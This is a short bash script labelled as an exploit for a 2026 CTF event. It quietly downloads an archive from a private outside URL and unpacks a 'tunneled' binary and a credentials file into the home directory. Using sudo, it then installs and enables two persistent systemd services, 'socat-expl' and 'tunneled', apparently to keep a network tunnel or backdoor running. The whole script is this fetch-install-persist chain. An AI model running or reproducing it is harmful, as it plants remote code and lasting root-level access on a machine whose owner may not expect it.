#!/bin/bash
# -------------------------------------
# MIT Exploit for 8th Pi-Games CTF 2026
# This script will download the exploit files, set up the necessary directories, 
# and enable the required services.
# ----------------------------------
# Copyright (c) 2026 Juliandev02. All rights reserved.

HOME_DIR=$HOME
EXPLOIT_URL="https://dl.strawberryfoundations.org/content/private/pigames/exploit.tar.gz"
TEMP_DIR=$(mktemp -d)

echo "Downloading and setting up..."
sudo apt install -y wget tar socat

cd "$TEMP_DIR" || exit
wget -O exploit.tar.gz "$EXPLOIT_URL" &> /dev/null
tar -xzf exploit.tar.gz

echo "Setting up structure..."
mkdir -p "${HOME_DIR}/.config/tunneled"
mkdir -p "${HOME_DIR}/.local/bin"
mkdir -p "${HOME_DIR}/.config/systemd/user"

echo "Copying files..."
cp credentials.yml "${HOME_DIR}/.config/tunneled/credentials.yml"
cp tunneled "${HOME_DIR}/.local/bin/tunneled"
chmod +x "${HOME_DIR}/.local/bin/tunneled"

echo "Enabling systemd services..."
cp tunneled.service "${HOME_DIR}/.config/systemd/user/tunneled.service"
sudo cp socat-expl.service /usr/lib/systemd/system/socat-expl.service

sudo systemctl daemon-reload
sudo systemctl enable --now socat-expl.service
systemctl --user enable --now tunneled.service

echo "Done!"